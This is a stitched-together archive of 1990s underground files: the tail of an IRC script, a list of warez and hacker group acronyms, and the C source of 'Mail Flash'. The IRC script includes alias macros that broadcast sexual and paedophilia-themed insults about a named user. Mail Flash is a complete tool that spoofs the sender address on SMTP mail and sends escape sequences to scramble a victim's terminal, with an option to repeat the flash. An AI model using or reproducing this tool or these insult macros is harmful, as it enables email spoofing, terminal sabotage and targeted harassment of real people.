^on public "* hard *" {send Huhuhuhuhuh m heh, $0 said "hard".}
^on public "* deep *" {send Huhuhuhuh, $0 said "deep".}
^on public "* finger *" {send Ehehehe m hehehe, $0 said "finger".}
^on public "* access *" {send Hehehehe m heh. $0 said "access".}
^on public "* fit *" {send Hehehehe m hehe m heh. $0 said "fit".}
^on public "* slip *" {send Hehehehehehe, $0 said "slip"!}
^on public "* head *" {send Hehehehe, $0 said "head".}
^on public "* stuff *" {send Hehhehehe m hehe, $0 said "stuff"!}
^on public "* come on *" {send Ehehehehehehe. $0 said "come on".}
^on public "* hard*" {send Huhuhuhuhuh m heh, $0 said "hard".}
^on public "* beat *" {send Hehehehe! $0 said "beat".}
^on public "* dump *" {send Huhuhuh, he said "dump", huhuh.}
^on public "* merge *" {send Ehehehe, $0 said "merge".}
^on public "* enter *" {send Ehehehe, $0 said "enter".}
^on public "* member *" {send Ehehe, $0 said "member".}
^on public "* #1 *" {send Ehehehe, $0 said "number 1".}
^on public "* crack *" {send Ehehehe, $0 said "crack"."}
^assign BeavisTalker On.
^echo *** [PHAT/2] BeavisTalker Now Active
}
alias BTROff {
^on public -"* come *"
^on public -"* load *"
^on public -"* hard *"
^on public -"* deep *"
^on public -"* finger *"
^on public -"* access *"
^on public -"* fit *"
^on public -"* slip *"
^on public -"* head *"
^on public -"* stuff *"
^on public -"* come on *"
^on public -"* hard*"
^on public -"* beat *"
^on public -"* dump *"
^on public -"* merge *"
^on public -"* enter *"
^on public -"* member *"
^on public -"* #1 *"
^on public -"* crack *"
^assign BeavisTalker Off.
^echo *** [PHAT/2] BeavisTalker Now Disabled
}
alias putonhold {
msg $0 [PHAT/2] I'm sorry, but I'm busy at the moment talking with
msg $0 [PHAT/2] someone else. Please msg me again in 5 minutes, or
msg $0 [PHAT/2] DCC a letter in a text file with the format
msg $0 [PHAT/2] yournick.irc.letter - Thanks for calling.... Bye Now!
}
alias webster1 {
send [Webster Online Dictionary : Port 2251]
send [Definition of homosexual]
send 1. Ho-mo-sex-u-al (adjective)
send : oriented towards one's own sex
send 2. Ho-mo-sex-u-al (noun)
send : $0
}
alias webster2 {
send [Webster Online Dictionary : port 2251]
send [Definition of "masturbate"]
send 1. Mas-tur-ba-tion (noun)
send : stimulation of sex organs by hand
send 2. Mas-tur-ba-tor (noun)
send : $0
}
alias webster3 {
send [Webster Online Dictionary : port 2251]
send [Definition of "anal sex"]
send 1. An-al Sex (noun)
send : Copulation involving the anus
send : How $0 was concieved
}
alias webster4 {
send [Webster Online Dictionary : port 2251]
send [Definition of "oral sex"]
send 1. Or-al Sex (noun)
send : Copulation involving the mouth
send : $0's favorite sport at family picnics
}
alias webster5 {
send [Webster Online Dictionary : port 2251]
send [Definition of "kindergarten"]
send 1. kin-der-gar-ten (noun)
send : class for young children
send : location that has a restraining order against $0
}
alias quickjoke {
send Alright, he's a quick joke for you.
send Santa Claus, the Easter Bunny and $0's FRIENDS are walking down the street.
send They all spot a quarter at the same time... who picks it up?
send Let me know when you're stumped...
}
alias lamedetect {
userhost $0 -cmd if ([$3] != [<UNKNOWN>])
{eval send [E/X] EXTREME LAMENESS detected from $0 [$$strip(#> $3)@$$4]}
}
on ^ctcp "% % [PHAT/2] lookdesc" {
^exec -notice $0 cat $HOME/.ircdesc
^echo [PHAT/2] $0 has glimpsed at you.
^log $0 glimpsed at you.
}
on ^ctcp "% % [PHAT/2] PHAT_EMAIL" {
if ([$PHAT_EMAIL]==[ANON]) {
^notice $0 That's privledged information, jack.
^log $0 tried to get your e-mail address.
}
{
^notice $0 My E-Mail address is $PHAT_EMAIL
^echo [PHAT/2] $0 requested your e-mail address.
^log $0 requested your e-mail address.
}
}
on ^ctcp "% % [PHAT/2] PHAT_AFFILS" {
if ([$PHAT_AFFILS]==[NONE]) {
^notice $0 [PHAT/2] I'm currently not affiliated with anyone.
^echo [PHAT/2] $0 requested your affiliations.
^log $0 requested your affiliations.
}
{
^notice $0 I am currently in $PHAT_AFFILS
^echo [PHAT/2] $0 requested your affiliations.
^log $0 requested your affiliations.
}
}
alias reqmail {^ctcp $0 [PHAT/2] PHAT_EMAIL}
alias reqaffils {^ctcp $0 [PHAT/2] PHAT_AFFILS}
alias look {^ctcp $0 [PHAT/2] lookdesc}
DELACR11.TXT
DELiRiUM Acronym List v1.1
Compiled by: Acidflux/Darkhand
[A]
AAA - Aces of ANSI Art
AAFH - ANSI Artists From Hell
ACE - 1) Arcane Corporate Elite
ACE - 1) Acme Couriering Enterprises
ACiD - ANSI Creators in Demand
AD - Altered Destiny
AFB - Amazing Astrofest Bunch
AFC - ANSI Factory
AFL - Alpha Flight
AFR - Another Fondation Release
ALF - Anti Lamers Foundation
AMD - Advanced Micro Designs
ANX - Anoxia
AoD - Acedemy of Deception
APHA - American Phreak Hack Association
ASB - Astrofence Bunch
AVG - Avengers
AVLHL - Always Very Lubricated Happy Lemmings
AWA - 1) Anti-Warez Association
AWA - 2) Arabs With Attitude
AWoL - Artists WithOut Loyalty
[B]
BAD - Bitchin' Ansi Design
BCC - 1) Bilbo's Cracking Club
BCC - 2) Boys from Company C
BDC - Breakdown Demo Crew
BGR - Brotherhood of Gods and Retards
BKN - Broken
BLi - Blitz
BOS - Blades Of Steel
BOW - 1) Brotherhood Of Warez
BOW - 2) Best Of the Worst
BPi - Blacklisting People inc.
BVN - Banned Vision
[C]
CAE - Chaotic Ansi Experience
CCC - 1) Chaos Computer Club - 2) Chaos Cyber Creators
CCi - Cyber Crime International
CDC - Cult of the Dead Cow
CEN - Centaur
CF - Cyber Force
CGI - Console Gaming Informers
CGNJ - C0ol GuYZz N4m3d JaZ0n!
CHS - Total Chaos
CHiNA - Communist Hackers In North America
CIA - Creators of Intense Art
CLF - Cyberpunk Liberation Front
CoD - Children of Damnation
CoMA - Community of Moral Advancement
COOL - Croation Orginizations Of Leechers
COR - C0RRUPTI0N
CoRE - Criminals of Radical Extremes
COTNO - Communication Of The New Order
CNC - Cancer
CP$ - Computer Pirates $yndicate
CPI - Canadian Pirates Incorporated
CrAC - Crazed Artists Coalition
CRaM - Citizens Revolting Against Moztah
CRAN - Cranium
CRi - Crisis
CRUE - Cheat Requests for Underground Elite
CUD - Computer Underground Digest
CuM - Crazy Users on a Mission
[D]
DeAD - Damn Excellent Ansi Design
DEPBA - Digital Exchange Pirate Board Alliance
DFP - Digital Free Press
DiE - Demented Images of Euphoria
DJP - DefJam Productions
dlc - DREADLoC
DLT - Delight
DM - Digital Masters
DMV - Department of Motor Vehicles
DNA - Digital News Associates
D0D - Drink or Die
DOM - Dominators
DRD - Dread
DS - 1) Dragon Society
DS - 2) Dream Syndicate
DST - Distortion
DUA - Digital Underground Association
DUNE - Dallas Underground Network Exchange
[E]
ECA - Elite Crackers Association
ECHO - Elite Crackers Hackers Association
ECR - Electronic Rats
EPAH - Eithical Phreakers And Hackers
EPiC - Excellence Produced in Creativity
ESW - Every Strange Warez
ETA - Express Traders Alliance
ETE - Eternity
EVIL - Exotic Visions In Liquid
EWR - Elite Warez Review
EX - Exile
EXT - EXtorTion
[F]
FBC - Fag-Bashing Crew
FBI - Freaker's Bereau Incorporated
FC - 1) Future Crew - 2) Fatal Connection
FCP - Fone Conspiracy
FDN - The Foundation
FDT - Fucked Damn Traders
FI - Furtive Industries
FiRM - First in Releasing Most
FLT - FairLighT
FRL - Freelancers Guild
FS - Fire Skull
FTH - FaiTH
FUAP - Fucked-Up Average People
FUCK - 1) Fucked Up College Kids
FUCK - 2) Forgive Us Crazy Kids
FUD - Fucked-Up Dudes
[G]
GLB - Globe Trotters
GNX - Gen-X
GOD - Global OverDose
GoDs - Guild Of Distributors
GRiP - Graphic Revolution in Progress
GRiP/AD - GRiP Ansi Division
GtD - Gates Of Dawn
[H]
HACK - Hacking And Computer Krashing
HASH - Humans Against Society and Homework
HATE - Highly Artistic And Talented
HAV - Havok
HBD - Hybrid
HCH - HardCore Hackers
HEAT - Hackers Enterprising Across Telecommunications
HEMP - Hardcore Elite Mother Phuckers
HR - High Rezolution
HSGMT - High-Speed Global Mass Trading
HV - High Voltage
HWA - Hackers With Asthma
[I]
iBP - iGH Bah Poo
IC - Inner Circle
iCE - 1) Insane Creators Enterprise
iCE - 2) International Cracking Elite
IDC - Independent Couriers
iDG - Indigo
IIRG - International Information Retreival Guild
ILL - Illuminatus
iLs - IllusioN
iMG - Image Ansi Artists
IMP - Imperial
INC - International Network of Crackers
IND - Independence
iNT - Integrity
IRG - International Rogue Guild
ISA - International Software Alliance
iSD - Insane Software Designers
iTA - International Trading Alliance
iTU - Infinity Traders Unlimited
IUD - INC Utility Division
IVP - Instant Virus Production (by YAM)
[J]
JB - Japan Boys
[K]
KAOS - Krackers Association Of Sweden
KiSS - Krazy Image Scanning Sickos
KORT - Knights Of The Round Table
KPN - K00L People's Nation
[L]
LAME - Lunatics And Maniacs Encorporated
LAP - Lapse
LCS - Local Courier System
LGD - Legend
LIFE - Loyalty In Full Effect
LLL - Local Lamers Limited
LOC - Legacy Of Criminals
LoD - Legion of Doom
LOH - Legions Of Hackers
LSD - 1) Lush Software Designs
LSD - 2) Lethal Software Distributors
LTD - License to Draw
LwV - Lamers with Vision
[M]
MAD - 1) Massive Anarchistic Destruction
MAD - 2) Malicious Art Denomination
MAD - 3) Mutual Assured Destruction
MAG - Makings of Artistic Geniuses
MCM - Miami Cracking Machine
MFT - Manifest
MiC - Master Image Creators
MMC - Mickey Mouse Club
MNG - Music N' Graphix
MPG - Midwest Pirates Guild
MPI - Micro Pirates Incorporated
MPIR - Empire
MRN - Maroon
MVF - MAD Virus Factory
[N]
NAPPA - North American Pirate Phreak Association
NARC - Nuclear phreAkers/hackeRs/Carders
NASA - 1) North American Society of Anarchists
NASA - 2) North American SysOp Alliance
NAT - Nation
NCA - National Courier Alliance
NCC - Norwegian Cracking Company
NCIC - National Crime Information Agency
NEUA - National Elite Underground Alliance
NFA - New Fone Express
NLA - No Lamerz Allowed
NoT - Nation of Thieves
NPPG - No Particular Pirate Group
NRA - National Rifle Association
NSOC - National Society Of Crackers
NTA - Nokturnal Trading Alliance
NUAA - National Underground Application Alliance
NX - Nexus
NWO - New World Order
NWS - NorthWestern Syndicate
NYC - New York Crackers
[O]
OASiS - Outstanding Ansi Specialists Institution
ODA - Over-Dosed Anarchists
OET - One-Eight-Two
OLR - On-Line Revenge
OTL - Outlaws
OX - Outlaw's Exchange
[P]
P&P - Pirate & Pirate
PaL - Pirates at Large
PAM - Pathetic ANSI Makers
PAW - Pirates Analyze Warez
PCi - Power Crisis International
PCP - Pacific Coast Pirates
PDRC - PRiMAL Demented Review Crue
PDX - Paradox
PE - Public Enemy
PHaT - Phunky Hardcore ANSI Team
PHELA - Phreakers Elite Association
PHUN - PHoney Underground Nation
PHT - Phantasm
PiC - Partners in Crime
PIL - Pirates In Legion
PiMP - Phuckin' Insane Music Producers
PNX - Phoenix
POTMA N - Pirates Of The Mid-Atlantic
PoW - Programmers of War
PPP - Phucking Phield Phreakers
PRi - PRiMAL
PSD - PsychoSquad
PSI - Pirates Sick of Initials
PST - Parasite
PSY - Psychosis
PTG - Pentagram
PTL - Pirates That Live
PUR - Pursuit
PWA - Pirates With Attitudes
PWS - Piretes who canot spel corriers
[Q]
QC - Quality Cartel
[R]
RAID - 1) Redundant Array of Inexpensive Disks
RAID - 2) Rebel Anarchists Incurr Destruction
RAM - 1) Really Awful Music - 2) REtardo AxE MurdErErz
RDC - Radiance
REM - Radical Elite Movement
REN - Renaissance
REV - Revolt
RiOT - Revolution in Our Time
RiSC - Rise In Superiour Couriering
RLT - Reality
RMK - RomKids
RoT - Rebels of Telecommunications
RPM - 1) Relentless Pursuit of Magnificence
RPM - 2) Revelations Per Minute
RR - Rescue Raider
RTS - Request To Send
RZR - Razor 1911
[S]
SAD - Slick ANSI Designers
SCAM - Society of Criminals, Anarchists, and Misfits
SCD - Software Chronicles Digest
SCL - SCANDAL!
SCPG - Southern California Pirate Guild
SCX - Scoopex
SE - Syntex Error
SFi - Society of the Freedom of Information
SHiT - Some Hairy Illicit Testicles
SKN - Skillion
SiN - Software Innovation Network
SLA - Software Liberation Army
SMUT - Syndrome's Mega Utility Team
SNaCK - Skanning Nerds And Code Kidz
SNC - Sonic
SOUP - Sea Otter Underground Productions
SPI - Software Pirates Incorporated
SR - Skid Row
SSN - Sysop Support Network
STN - Stoned
SUN - Sight Unseen
SWaT - Special Warez Acquisition Team
$YND - The $yndicate
[T]
TAC - The Artistic Club
TB - Thrust Brothers
TCB - TeCHn[+]BrAiN$
TCOLB - The Crackers Of Lame Boards
TCS - 1) The Crime Syndicate
TCS - 2) The Criminal Syndicate
TCW - The Celestial Woodlands
TDA - THe DaRK ALLiaNCe
TDD - The Dirty Dozen
TDK - The Destiny Knights
TDM - The Drowning Man
TDN - The Documentation Network
TDS - The Devil's Spawn
TDT - The Dream Team
TDWP - THINKdreamWONDERponder
TEC - Tecnik
TERR - Terratron
TGT - The Guild Of Thieves
THC - The Happyface Cult
THG - The Humble Guys
THP - The Hill People
THT - The Humble Team
TiC - The Inner Circle
TiCN - The Insane Couriers Network
TiDT - The Internet Dream Team
TIPN - The International Piracy News
TL - Top Listings
TMM - The Mental Midgets
TNKB - Turbo Nutter Kiwi Bastards
TNO - The New Order
TNWC - The North West Connection
TOAO - The One And Only
TOP - Tired Of Protection
TPC - The Programmers Crew
TPO - The PRiMAL Order
TPSA - Telegard Pirate Sysop Alliance
TPU - The People Upstairs
TRA - The Rebel Alliance
TRC - The Review Crew
TRM - The Rim Merchants
TRN - Tyranny (Phoenix Game Division)
TRSi - Tri-star Red Sector Incorporated
TSAN - The Sysops Association Network
TSB - The Silicon Bovine
TSC - The Spectrum Crew
TSS - Tape Swappers Syndicate
TUN - The Underground Network
TVB - The Vag Boys
TWA - The Warez Alliance
TWL - Twilight
TWaT - 1) Text Writerz And Traderz
TWaT - 2) The Winning Ansi Team
TxC - Toxic
TZU - Terror Zone Underground
[U]
UBiC - United Boards in Control
UC-ID - UC InterNet Division
UC - United Couriers
UCF - 1) Underground Computer Foundation
UCF - 2) United Cracking Force
UCLA - United Crackers Lab Association
UCR - UC Random (Console Division)
UCS - Underground Cracking Syndicate
UFT - 1) United File Traderz
UFT - 2) UNiTY Federation Team
UGC - Underground Council
UKT - United Kiwi Traders
UL - Universal Labs
UNI - Unity
UNT - Untouchables
UPC - United Phreakers Coalition
UPi - United Phreakers Incorporated
USA - United Software Association
USCA - United Serbian Courier Association.
USSR - Underground Software Systems Revolt
UTG - United Traders of Germany
uXu - Underground Experts United
[V]
VCi - Vulcan Cultural International
VD - Vital Dox
ViO - Violation
VOR - Visions Of Reality
VS - Virtual Shock
VSW - Very Strange Warez
[W]
WAC - Wild Ansi Creators
WC - Wild Cards
WiLD - Wild Cards
WWC - World Wide Couriers
[Y]
YAM - Youngsters Against McAffee
MFLASH.C
/*
* Mail Flash (C) 1994 CHA0S All Rights Reserved
* Version 1.10
*
* This program will use VT100 escape sequences to set the victim's
* screen translation into "graphics" mode, giving them a screwed up
* terminal. This program has been tested with mailx and pine.
*
* The choose of an SMTP server is given to allow for user@host spoofing.
*
* Changes:
* o Rewrote the way data is written to the socket. (Sleep is
* no longer needed)
* o You can now specify a times parameter which sends multiple
* flashes.
* Hints :
* It is not a good idea to specify a FROM address that doesn't really
* exist. If the TO address cant reach its destination that message
* is bounced back to the FROM address. If that doesn't exist then it
* is sent to the POSTMASTER. BAD IDEA!
*
* Example Usage :
* mflash netcom.com root@im.lame.com someone@univ.edu 5
* This will send 5 mail flashes to 'someone@univ.edu' with a from address
* of 'root@im.lame.com' using the mail server 'netcom.com'
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
void smtp_connect(char *server);
int thesock; /* the socket */
void smtp_connect(char *server)
{
struct sockaddr_in sin;
struct hostent *hp;
hp = gethostbyname(server);
if (hp==NULL) {
printf("Unknown host: %s\n",server);
exit(0);
}
bzero((char*) &sin, sizeof(sin));
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
sin.sin_family = hp->h_addrtype;
sin.sin_port = htons(25);
thesock = socket(AF_INET, SOCK_STREAM, 0);
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
}
void main(int argc, char **argv)
{
char buf[1024];
int i,w,times;
if (argc != 4 && argc != 5) {
printf("usage: mflash smtp_server from to [times]\n");
exit(0);
}
if (argc==5) times = atoi(argv[4]); else times = 1;
printf("Mail Flash 1.10 by CHA0S 12-04-94 -- And You Thought Flash Was Annoying.\n");
for (i=0; i<times; i++) {
printf("Connecting to SMTP Server %s\n",argv[1]);
smtp_connect(argv[1]);
printf("Sending mail flash to %s, ",argv[3]);
fflush(stdout);
sprintf(buf, "helo mflash\nmail from: %s\nrcpt to: %s\ndata\nSUBJECT: \033c\033(0\033#8\033[1;3r\033[J\033[5m\033[?5h\n.\nquit\n",argv[2],argv[3]);
send(thesock, buf, strlen(buf), 0);
do
w=read(thesock, buf, 1, 0);
while (w!=-1 && w!=0);
printf("Mail Flash Completed.\n");
close(thesock);
}
}
